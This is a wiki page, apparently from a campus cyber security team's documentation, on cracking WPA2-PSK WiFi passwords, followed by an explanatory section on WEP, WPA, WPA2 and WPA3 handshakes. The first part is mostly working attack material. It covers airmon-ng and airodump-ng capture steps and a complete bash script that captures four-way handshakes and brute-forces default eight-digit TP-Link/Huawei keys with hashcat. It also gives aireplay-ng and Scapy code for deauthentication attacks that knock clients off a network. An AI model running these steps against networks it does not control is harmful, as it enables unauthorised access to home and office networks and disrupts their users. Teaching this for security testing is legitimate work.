* Use airmon-ng to put interface in monitor mode

airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device

airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplican

* Start in monitor mode

airmon-ng start wlan0mon 9

=== Capture Beacon ===

* using wireshark or airodump-ng

airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

airmon-ng stop wlan0mon

* Restart network manager for internet access

service network-manager restart

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WiFi Security

2024-12-07T18:04:59Z

RSchuller: /* WPA */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

;RC4 Algorithm
The Rivest Cipher 4 Algorithm is a 1987 by RSA Laboratories developed random generator or also called a key stream generator or stream cipher. RC4 works logically by XORing the key to the data. RC4 is used in WEP and early WPA for both, decryption and encryption data. <ref>Lashkari, Arash Habibi and Farnaz, Towhidi and Reheleh, Sadat Hosseini. Wired Equivalent Privacy (WEP). 2009 International Conference on Future Computer and Communication, pages 492–495, 2009.</ref>

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP:

*WEP has no Mechanism to prevent to manipulate data packets. <ref name="wep versus wpa">Lashkari, Arash Habibi and Mansoor, Masood and Danesh, Amir Seyed. Wired Equivalent Privacy (WEP) versus Wi-Fi Protected Access (WPA). 2009 International Conference on Signal Processing Systems, pages 445–449, 2009.</ref>
*WEP can not prevent Replay Attacks <ref name="wep versus wpa" />
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer. <ref name="wep versus wpa" />
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key. <ref name="wep versus wpa" />
*WEP allows attackers to modify messages or data without knowing the encryption key. <ref name="wep versus wpa" />
*with WEP it is easy to manipulate Authentication messages. <ref name="wep versus wpa" />

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of security:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

